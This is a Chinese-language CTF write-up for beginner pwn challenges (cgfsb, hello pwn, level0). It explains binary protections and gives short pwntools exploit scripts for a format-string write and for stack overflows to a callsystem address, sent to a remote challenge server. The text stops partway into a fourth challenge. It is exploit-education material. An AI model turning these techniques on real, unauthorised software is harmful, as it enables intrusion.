目录
cgfsb
先checksec一下,确定程序的保护机制,没有开启PIE。
stack:
canary found 是指运行程序时,会把canary取出放入一个rbp定向的值,在退出函数前将rbp定向的值和canary的值进行一个比较(异或一下,看是不是0),如果不相等,则运行_stack_chk_fail函数
NX
数据所在的内存为不可执行,程序溢出转为shellcode时,程序会去在数据页面上执行指令,这个时候CPU抛出异常,不会让它执行
PIE
程序装在随机的地址
ASLR
即使文件开启了PIE保护,还需要开启ASLR才会真正打乱基址
然后我们确定是32位丢到32位IDA,按下F5
这里看到printf函数没有指定format,存在格式化字符串漏洞,关于格式化字符串漏洞,这个师傅的博客讲得很清楚,这里我就偷个懒。且指定了pwnme=8才给我们flag,且pwnme在bss段那就行了,这里也有个师傅讲bss,我也码住
那我们可以开始确定偏移量了
aaa和61间有10个的距离,写exp,分析在中间
##!/usr/bin/env python
from pwn import *
sh = remote('111.200.241.244','30762')
payload = p32(0x0804A068) + 'aaaa%10$n'
sh.recvuntil('please tell me your name:\n')
sh.sendline('pwnyou')
sh.recvuntil('leave your message please:\n')
sh.sendline(payload)
sh.interactive()
payload中,我们先输入的是pwnme的地址,这样的话,如果是一个有效的字符串的首地址,就可以用%s将其打印出来,用地址加串的方式就可以打印出来,‘aaaa’是为了和之前p32()对应,这样前面有了八个字节,10$就是我们刚刚求的偏移,我们输入后是把这个的ascii存在后面的10的,后面的%n就是因为前面输入了8个字符,所以这个时候%n把pwnme赋值成8了,参考是这位师傅的博客
如果简单点来说,就是先构造8,然后把8给地址为0下04A068的那个值
相当于printf(‘p32()aaaa%$10n’,……此处省略十个内存所存值……pwnme),也就是把pwnme的值变成8了
hello pwn
checksec 发现是64位,直接用64位ida打开
put的我们不管了,都是直接打印在屏幕上的
read函数我们直接看它存的是哪里?是601068
然后我们看这个if条件,if条件让60106c和1853186401这一串比较
但是这个内存的数字之前没有提到,但我们之前输入的数是在68里的,如果溢出会溢出到6C
尝试exp
可以连上去,但是没有打印flag
修改一下,发现没有加p64()。。。。。。。。。
##!/usr/bin/env python
from pwn import *
sh = remote('111.200.241.244','52450')
sh.sendline('A' * 4 + p64(1853186401))
sh.interactive()
level0
没有canary,PIE关闭,栈不可执行,我们可以溢出,但是不能将shellcode写在栈上,因为现在栈上的代码不会执行
查看main函数,看不出来什么明显漏洞格式,但我们结合打开程序的结果可以知道,会打印一个hello world,然后不动,我们输入了一个5就退出了程序。这里要我们输入了,应该会有溢出点,找一下我们常说的高危函数。
快速做法:
如下图,这里有一个red函数,这个buf指的是一个局部变量,调用read时把buf的数据存入到缓冲区里面
点buf追踪,定义了128长度的缓冲区长度,这里的r是返回地址,s是ebp,我们用一些很长的数据覆盖ebp,把我们想执行的指令的地址放到r上面就行了
我们要执行的是system函数,在框框里面找到callsystem
选0x400596作为我们的返回地址
这里128加8,因为是64位的,所以payload就应该是136加上 0x400596
练习工具式解法:
这里我们要用到peda,安装口令谷歌上有,提醒要换源哈
利用peda生成一个200的随机序列
运行后把我们这一窜字符复制,输入
这里是register窗口,我们复制ebp的数据,然后用命令,pattern oddset 字符串
就可以看到和ebp之间的偏移是多少了
是128,可能有同学不明白为什么是ebp之前的,那我们做个实验
看,所以之前那些指的就是ebp之前的值,所以我们很容易得到136 + 地址的payload
##!/usr/bin/env python
from pwn import *
sh = remote('111.200.241.244','33108')
sh.recvuntil('Hello, World\n') #注意这里是它先打印hello world我们再输入
sh.sendline('A' * 136 + p64(0x400596))
sh.interactive()
得到flag:
when did you born
老方法,还是checksec,拖进ida分析,没有PIE,但是有canary
我们同时可以结合运行结果,进行分析,发现它会问